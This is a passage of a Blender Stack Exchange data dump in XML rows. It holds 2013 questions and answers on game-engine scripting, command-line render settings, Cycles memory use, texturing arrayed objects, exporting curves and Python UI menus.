  <row Id="3057" PostTypeId="1" AcceptedAnswerId="3058" CreationDate="2013-09-23T08:29:06.663" Score="3" ViewCount="1408" Body="&lt;p&gt;I have searched about for an actuator that can run external applications within the bge but I haven't found anything. Does such an actuator exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, it is possible to launch a web browser within a blender game:&#xA;A plane with firefox, chrome... in the game&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="12" LastEditDate="2013-09-23T12:26:10.640" LastActivityDate="2013-09-26T03:46:28.787" Title="Run an external application with the bge" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3058" PostTypeId="2" ParentId="3057" CreationDate="2013-09-23T09:53:52.003" Score="2" Body="&lt;p&gt;This task is fairly simple to do with a Python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could add a python script as a controller to launch a browser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import subprocess&#xA;subprocess.call(['pathToChrome\\chrome.exe',&#xA;                 'http://blender.stackexchange.com',&#xA;                 'Message'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZumDv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save a screenshot you could use one of the command line capturing tools like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.paulhammond.org/webkit2png/&quot; rel=&quot;nofollow noreferrer&quot;&gt;webkit2png&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/125951/command-line-program-to-create-website-screenshots-on-linux&quot;&gt;command-line-program-to-create-website-screenshots-on-linux&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;you might add an os to google &quot;browser screenshot command line&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once you have the saved screenshot you could manipulate a plane to use the screenshot as a texture see &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bge.texture.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;createTexture in Blender API&lt;/a&gt; on how to dynamically change a textures image.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-09-26T03:46:28.787" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3059" PostTypeId="2" ParentId="2789" CreationDate="2013-09-23T12:53:07.947" Score="3" Body="&lt;p&gt;A similar question was recently asked on the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?309664-Stress-Maps&amp;amp;p=2474189&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender artists forum&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In looking into that one, I found that blender does still have a mapping mode for &quot;stress&quot; mapping in the texture coordinate drop down.&lt;br&gt;&#xA;By baking out a texture generated from a ramp and mapped by stress, you can get a colour representation of the compression or expansion of each UV element, then map that to whatever other value you want to effect.&lt;br&gt;&#xA;An example of the effect of this mapping can be seen here:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/o4Uk4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;And an animated version can be seen &lt;a href=&quot;http://daveleack.com/wp-content/uploads/2013/09/stress.avi&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1264" LastEditorUserId="599" LastEditDate="2013-09-23T17:36:29.587" LastActivityDate="2013-09-23T17:36:29.587" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3060" PostTypeId="2" ParentId="3020" CreationDate="2013-09-23T15:51:08.157" Score="4" Body="&lt;p&gt;&lt;strong&gt;You can't (at least - not the way you want)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SketchUp very cleverly abstracts away the underlying geometry by rendering all connected faces on the same plane as &lt;em&gt;one surface&lt;/em&gt; (unless you tell it not to). With this visual abstraction SketchUp allows surfaces to have gaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender's geometry model, known as BMesh, treats surfaces differently, it has a model of Tris, Quads and Ngons. BMesh does not allow holes in an Ngon (by design). By extension of this fact, you won't have exactly the same representation in Blender as you would in SketchUp for the same model. Blender won't magically abstract connected faces on the same plane into &lt;em&gt;surfaces&lt;/em&gt; the way SketchUp does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xc2sk.gif&quot; alt=&quot;img here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loaded geometry will be correct, but in &lt;code&gt;edit mode&lt;/code&gt; you will see the real geometry the way it exists in the &lt;code&gt;.dae&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender is designed to let you edit the underlying geometry. it is a true &lt;em&gt;polygon modeller&lt;/em&gt;. Ngon support with BMesh is a relatively recent development -- before that it was quads and tris only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do is:   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;enter &lt;code&gt;Edit Mode&lt;/code&gt; for each object&lt;/li&gt;&#xA;&lt;li&gt;select all &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Delete -&gt; Limited Dissolve&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You will get a mesh that is perhaps more convenient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt; in edit mode, wich will transform all the triangles into quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qqNEC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="12" LastEditDate="2013-09-25T00:20:42.970" LastActivityDate="2013-09-25T00:20:42.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3061" PostTypeId="1" AcceptedAnswerId="3062" CreationDate="2013-09-24T01:39:07.220" Score="13" ViewCount="9120" Body="&lt;p&gt;I was hoping to render blender using the command line mode on linux. However, I do not no how to set the output resolution and H.264 as the encoding. Both these options work in the GUI mode but I wish to use them from the command line&lt;/p&gt;&#xA;" OwnerUserId="1330" LastEditorUserId="55" LastEditDate="2013-09-24T04:31:38.767" LastActivityDate="2021-03-03T08:11:26.493" Title="Setting render options from the command line" Tags="&lt;rendering&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3062" PostTypeId="2" ParentId="3061" CreationDate="2013-09-24T01:58:35.083" Score="17" Body="&lt;h1&gt;Command line&lt;/h1&gt;&#xA;&lt;p&gt;One way is to set the properties from the gui, save the file, then render. The settings will be preserved for rendering from the command line.&lt;/p&gt;&#xA;&lt;p&gt;Note that (as already &lt;a href=&quot;https://blender.stackexchange.com/questions/3061/setting-render-options-from-the-command-line/3062#comment5121_3061&quot;&gt;mentioned by iKlsR&lt;/a&gt;) you can set the render output format from the command line with &lt;code&gt;-F&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Format Options:&#xA;-F or --render-format &amp;lt;format&amp;gt;&#xA;Set the render format, Valid options are...&#xA;    TGA IRIS JPEG MOVIE IRIZ RAWTGA&#xA;    AVIRAW AVIJPEG PNG BMP FRAMESERVER&#xA;(formats that can be compiled into blender, not available on all systems)&#xA;    HDR TIFF EXR MULTILAYER MPEG AVICODEC QUICKTIME CINEON DPX DDS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, it seems &lt;code&gt;H264&lt;/code&gt; is not a valid setting for this argument.&lt;/p&gt;&#xA;&lt;p&gt;Further reading: &lt;a href=&quot;https://docs.blender.org/manual/en/latest/advanced/command_line/arguments.html#python-options&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/latest/advanced/command_line/arguments.html#python-options&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Python&lt;/h1&gt;&#xA;&lt;p&gt;Another way is to use &lt;a href=&quot;https://docs.blender.org/api/current/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender's python API&lt;/a&gt;, and run a python script in blender from the command line (&lt;a href=&quot;https://blender.stackexchange.com/questions/1365/how-can-i-run-blender-from-command-line-or-a-python-script-without-opening-a-gui&quot;&gt;see this post&lt;/a&gt;), e.g.:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;blender --background /path/to/file.blend --python /path/to/script.py --render-anim&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;blender -b /path/to/file.blend -P /path/to/script.py -a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The render resolution can be set with &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.RenderSettings.html#bpy.types.RenderSettings.resolution_x&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.context.scene.render.resolution_x&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.RenderSettings.html#bpy.types.RenderSettings.resolution_y&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.context.scene.render.resolution_y&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The output format can be set to H.264 with&lt;br /&gt;&#xA;&lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.ImageFormatSettings.html#bpy.types.ImageFormatSettings.file_format&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.context.scene.render.image_settings.file_format = 'H264'&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Note on scene values:&lt;/h3&gt;&#xA;&lt;p&gt;You may want to assign the settings for all scenes to avoid confusion with complex setups which use multiple scenes.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for scene in bpy.data.scenes:&#xA;    scene.render.resolution_x = 1920&#xA;    scene.render.resolution_y = 1080&#xA;    scene.render.image_settings.file_format = 'H264'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Note invoking render:&lt;/h3&gt;&#xA;&lt;p&gt;When using a Python script to render you have the choice to...&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pass the &lt;code&gt;--render-anim&lt;/code&gt; argument.&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;bpy.ops.render.render(animation=True)&lt;/code&gt; directly from the Python script.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Both do the same thing however calling the operator from Python means if the script fails to run, render won't execute, &lt;em&gt;This may be good/bad depending on your use-case&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Calling from Python also gives some flexibility - for example you could call render multiple times with different frame ranges.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="31447" LastEditDate="2021-03-03T08:11:26.493" LastActivityDate="2021-03-03T08:11:26.493" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3063" PostTypeId="2" ParentId="3049" CreationDate="2013-09-24T04:20:56.353" Score="8" Body="&lt;p&gt;Both these arguments are mainly for developers.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;--verbose&lt;/code&gt; is currently only used by &lt;code&gt;libmv&lt;/code&gt; (camera tracking), however we will likely use in the future to control other output.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;--debug-value&lt;/code&gt; is mainly for developers to test alternative behavior, from Python you can access it from &lt;code&gt;bpy.app.debug_value&lt;/code&gt; from C/C++ you can access it from &lt;code&gt;G.debug_value&lt;/code&gt; (with &lt;code&gt;BKE_global.h&lt;/code&gt; include).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example &lt;code&gt;--debug-value 2&lt;/code&gt; makes the manipulator rotation handles draw differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For verbose logging with camera tracking use &lt;code&gt;--verbose 2&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-24T04:20:56.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3064" PostTypeId="2" ParentId="3051" CreationDate="2013-09-24T05:07:43.907" Score="4" Body="&lt;p&gt;There are a few options&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use axis-angle rotation mode&lt;br&gt;&lt;em&gt;(a direct answer to your question)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Set the euler-rotation order so Z is applied last.&lt;/li&gt;&#xA;&lt;li&gt;Use an empty parent, for the tilt and simply animate the child meshes Z axis.&lt;br&gt;&lt;em&gt;(I'd do this, it generally gives more control so the spin and the tilt independently)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You could use &lt;strong&gt;Copy Rotation&lt;/strong&gt; constraint, but I don't think theres much advantage to this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-24T05:07:43.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3065" PostTypeId="1" CreationDate="2013-09-24T07:16:05.060" Score="5" ViewCount="2681" Body="&lt;p&gt;It is possible to clear the command history in the console-editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the following code, but it crashes blender.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for window in bpy.context.window_manager.windows:&#xA;    screen = window.screen&#xA;    for area in screen.areas:&#xA;        if area.type == 'CONSOLE':&#xA;            for region in area.regions:&#xA;                if region.type == 'WINDOW':&#xA;                    override = {'window': window, 'screen': screen, 'area': area, 'region': region}&#xA;                    print(bpy.ops.console.clear(override, history=True))&#xA;                    break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1260" LastActivityDate="2013-09-24T07:16:05.060" Title="How to clear the command history in the console?" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ClosedDate="2013-09-24T20:56:22.147" ContentLicense="CC BY-SA 3.0" />
  <row Id="3066" PostTypeId="1" CreationDate="2013-09-24T07:59:56.920" Score="6" ViewCount="508" Body="&lt;p&gt;I'm wondering whether it is possible to run the game engine in a &quot;cycle&#xA;- by - cycle&quot; fashion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. a sort of debugging mode where one could&#xA;associate the mainloop cycles to keyboard events (for example) rather&#xA;than a time interval.&lt;/p&gt;&#xA;" OwnerUserId="1333" LastEditorUserId="599" LastEditDate="2014-12-16T19:13:16.383" LastActivityDate="2019-04-14T00:00:33.570" Title="Step-by-step execution of BGE mainloop for debugging?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3067" PostTypeId="1" AcceptedAnswerId="3076" CreationDate="2013-09-24T14:28:10.463" Score="5" ViewCount="14280" Body="&lt;p&gt;I'm trying to render a very complex scene with blender and it seems to be using too much memory. I've already tried using tile size as a multiple of total resolution and spatial bvh splits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone recommend any settings that can reduce memory consumption of the scene?&lt;br&gt;&#xA;Note, I'm talking about a still render.&lt;/p&gt;&#xA;" OwnerUserId="432" LastEditorUserId="599" LastEditDate="2013-09-24T20:14:21.770" LastActivityDate="2018-10-04T06:04:11.430" Title="Best settings to reduce cycles memory consumption" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;memory-management&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3068" PostTypeId="1" CreationDate="2013-09-24T17:31:18.853" Score="4" ViewCount="183" Body="&lt;p&gt;I hope my first post here isn't that much off-topic.&#xA;Well, I had some times ago an project with Ogre3d.&#xA;My designer used Blender. When ever he made a model for me, it looked in the Blender window fine, as far he didn't entered the UV-map mode.&#xA;(I'm not quite sure anymore, but the mode had something to do with texture mapping)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he did so, some surfaces were randomly CCW or CW rendered.&#xA;Even if he did &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mesh &gt; Faces &gt; Flip Normals&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It didn't change anything.&#xA;But this wasn't the main problem at all, the main problem was, when we used the .blend to .mesh exporter this behaving kept and the mesh file I used in ogre also had randomly surfaces back and front culled. We weren't able to find any solution till now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I ask here if maybe anyone could explain whats our problem and how we can solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'm sorry for that lack of information but I'm not working together with my designer anymore.&lt;/p&gt;&#xA;" OwnerUserId="1320" LastActivityDate="2013-09-24T17:31:18.853" Title="Undefined normal vector by converting .blend file" Tags="&lt;export&gt;&lt;blend-files&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3069" PostTypeId="1" AcceptedAnswerId="3086" CreationDate="2013-09-24T17:55:58.600" Score="2" ViewCount="1780" Body="&lt;p&gt;I created a drop-down menu, with a &lt;code&gt;operator_menu_enum&lt;/code&gt; referring to an &lt;code&gt;EnumProperty&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I select an entry in this menu, it closes, and display the default &lt;code&gt;text&lt;/code&gt; string, instead of displaying the selected entry's string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to keep the selected entry displayed in the menu's head after selection ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : Here is an example script of the way I make the menu :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class STUFF_PANEL(bpy.types.Panel):&#xA;    bl_idname = &quot;SCENE_PT_stuffSelect&quot;&#xA;    bl_label = &quot;Stuff selection&quot;&#xA;    bl_space_type = &quot;PROPERTIES&quot;&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;scene&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        row = layout.row()&#xA;        row.operator_menu_enum(&quot;stuff_list.menu&quot;, 'stuffList', text=&quot;Stuff list&quot;)&#xA;        if bpy.props.selectedStuff:&#xA;            row = layout.row()&#xA;            row.label(&quot;Selected stuff :&quot;)&#xA;            row.label(str(bpy.props.selectedStuff[1]))&#xA;&#xA;&#xA;class STUFF_LIST_OT_Menu(bpy.types.Operator):&#xA;    bl_idname = &quot;stuff_list.menu&quot;&#xA;    bl_description = &quot;select something here&quot;&#xA;    bl_label = &quot;Menu&quot;&#xA;&#xA;    def get_stuff(self, context):&#xA;        return bpy.props.config_stuff_list&#xA;&#xA;    stuffList = bpy.props.EnumProperty(&#xA;        items = get_stuff, name = &quot;Stuff&quot;, description = &quot;The stuff list&quot;)&#xA;&#xA;    def execute(self, context):&#xA;        bpy.props.selectedStuff = [&#xA;            n for i, n in enumerate(bpy.props.config_stuff_list)\&#xA;            if n[0] == self.stuffList][0]&#xA;        return{'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.props.selectedStuff = False&#xA;    bpy.props.config_stuff_list = [&#xA;        (&quot;1&quot;,&quot;stuff 1&quot;,&quot;0&quot;),(&quot;2&quot;,&quot;stuff 2&quot;,&quot;0&quot;),(&quot;3&quot;,&quot;stuff 3&quot;,&quot;0&quot;)]&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;&#xA;def unregister():&#xA;    del bpy.props.config_stuff_list&#xA;    del bpy.props.selectedStuff&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2013-09-25T18:20:46.937" LastActivityDate="2013-09-26T01:33:41.850" Title="how to make &quot;operator_menu_enum&quot; keep the selected value displayed" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3071" PostTypeId="1" CreationDate="2013-09-25T09:52:42.517" Score="5" ViewCount="1741" Body="&lt;p&gt;I have some curves (nurbs) in blender and I want to use them in AutoCAD the same way as same curves. However, when I export the file as &lt;code&gt;.fbx&lt;/code&gt; or &lt;code&gt;.dxf&lt;/code&gt; and open in AutoCAD, the curves are converted to meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I preserve the state of these when exporting? Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="1340" LastEditorUserId="12" LastEditDate="2013-09-25T11:49:52.243" LastActivityDate="2013-09-25T11:49:52.243" Title="How can I export curves(nurbs) to AutoCAD without converting to mesh?" Tags="&lt;export&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3072" PostTypeId="2" ParentId="3071" CreationDate="2013-09-25T10:50:42.017" Score="3" Body="&lt;p&gt;The OBJ exporter supports import/export nurbs curves natively.&#xA;Otherwise you could find a list of all formats autocad supports, then see if there is support within blender for any of these formats (as 3rd party addons for eg, perhaps shapefile for example).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-25T10:50:42.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3073" PostTypeId="1" CreationDate="2013-09-25T13:44:01.130" Score="11" ViewCount="5077" Body="&lt;p&gt;I want to have a Cube in scene A, and linked in scene B, but with different material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution for this problem was found on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?198523-Linked-Objects-with-Unique-Materials&quot; rel=&quot;noreferrer&quot;&gt;BlenderArtists&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;click the material tab and you will see a little drop down that says &quot;dat&quot; or &quot;Data&quot;. Click that and change it to &quot;Object&quot;. Now you can assign the material to the object instead of the mesh or &quot;Data Block&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But what if I have 5000 Cubes in scene A, and I want 4999 of them to be in scene B with different material X, and 1, with material Y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to &quot;link material&quot; in scene B, with new material, it won't copy &quot;Object&quot; selection. I would have to go over 4999 cubes and change them to &quot;object&quot; in material tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't join them, and then separate - all objects are in a mess after that (and blender crashes anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material override for whole scene won't work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any option to override materials in groups? That would solve the problem in some way.&lt;/p&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="599" LastEditDate="2014-04-24T17:47:16.590" LastActivityDate="2021-05-13T21:49:06.010" Title="Multiple Linked Objects with unique Materials / Group Materials override" Tags="&lt;materials&gt;&lt;objects&gt;&lt;linked-data&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3074" PostTypeId="1" AcceptedAnswerId="44371" CreationDate="2013-09-25T15:02:13.980" Score="13" ViewCount="6791" Body="&lt;p&gt;Using the array modifier and textures, can the individual array objects be slightly textured differently for individual look?&lt;/p&gt;&#xA;" OwnerUserId="1342" LastEditorUserId="55" LastEditDate="2013-09-25T15:40:48.090" LastActivityDate="2016-09-10T22:08:18.493" Title="Array modifier (vary textures on duplicates)" Tags="&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3075" PostTypeId="2" ParentId="3074" CreationDate="2013-09-25T15:38:50.173" Score="2" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, not easily at least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some options you could use for UV coords.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UV Project (after the array modifier).&lt;/li&gt;&#xA;&lt;li&gt;Vertex group modifier, then UV-warp modifier and use vertex weights as an influence.&lt;/li&gt;&#xA;&lt;li&gt;Vertex group modifier, then use vertex weights to modify the texture (cycles nodes can do this).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There may be other ways you could tweak values, but they dont give good control. You may be better of looking into dupli-frames (dupli objects in general).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-25T15:38:50.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3076" PostTypeId="2" ParentId="3067" CreationDate="2013-09-25T15:50:29.110" Score="2" Body="&lt;p&gt;Here are some hints for better memory usage.&#xA;Though with only general info its hard to give a good answer.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Avoid floating point textures where possible - typically EXR, HDR.&lt;br&gt;&lt;em&gt;(includes 16bit PNG, TIFF, JPEG2000 which are converted to floating-point), these use 4x memory.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Avoid displaying textured objects in the viewport (OpenGL-GLSL), this will load textures into memory which is &lt;strong&gt;not&lt;/strong&gt; shared with Cycles - so the textures get loaded twice.&lt;/li&gt;&#xA;&lt;li&gt;Use instanced objects where possible.&lt;/li&gt;&#xA;&lt;li&gt;Take care using subsurf, curve-render subdivision levels.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only other suggestions would be to reduce memory use from the rest of Blender.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Render in background mode. or...&lt;/li&gt;&#xA;&lt;li&gt;Reduce undo steps (undo can use a lot of ram), you could even dissable undo.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There may not be a whole lot you can do, if you already checked that you don't have excessively high geometry or high-resolution textures, perhaps you just have to render less complex scenes or buy more ram.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-26T10:07:06.050" LastActivityDate="2013-09-26T10:07:06.050" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3077" PostTypeId="2" ParentId="3074" CreationDate="2013-09-25T16:57:24.437" Score="8" Body="&lt;p&gt;Well seeing as you said 'slightly' then yes, you can have &lt;em&gt;slightly&lt;/em&gt; different textures on an object that has been arrayed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/beToW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This cube has a texture which uses 'Generated' coordinates instead of other texture mapping coordinates such as UV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generated coordinates can be set for either the internal renderer in the mapping panel of the texture settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P2GYI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in Cycles with a 'Texture Coordinate' node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gDAMJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example above uses a procedural cloud texture with generated coordinates. This method doesn't allow you to specify &lt;em&gt;different&lt;/em&gt; textures to appear on each cube, however, it does allow you to slightly vary each different cube.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-09-25T16:57:24.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3078" PostTypeId="1" CreationDate="2013-09-25T17:04:27.507" Score="2" ViewCount="1482" Body="&lt;p&gt;I am almost finished with my directx importer with all mesh/bone/material, but the animation is just still bad. I would like to ask for help about how to get animation going properly, with using data collected from .x file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually tried many variations, so I just could not tell what I tried already: nearly everything, really, I am sure I just missed something silly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a code I use at moment (and I do not ask you guys, to do it for me, but to point out the problem):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;csontvaz_objektumkent.animation_data_create()&#xA;for animacio in animaciok:&#xA;    animacio_nev = animacio[0]&#xA;    uj_animacio = actions.new(animacio_nev);&#xA;    uj_animacio.use_fake_user = True;&#xA;    csontvaz_objektumkent.animation_data.action = uj_animacio&#xA;    max_matrix = animacio[2]&#xA;    for csontja in animacio[1]:&#xA;        csont = csontvaz_objektumkent.pose.bones[csontja[0]]&#xA;        if (csont == None):&#xA;            continue&#xA;&#xA;        mi = len(csontja[1])&#xA;        li = max_matrix / mi&#xA;        i = 1&#xA;&#xA;        for aktualis in range(len(csontja[1])):&#xA;&#xA;            matrix_elozo = Matrix.Identity(4)&#xA;            if (aktualis != 0):&#xA;                matrix_elozo = csontja[1][aktualis -1]&#xA;            matrix_jelenlegi = 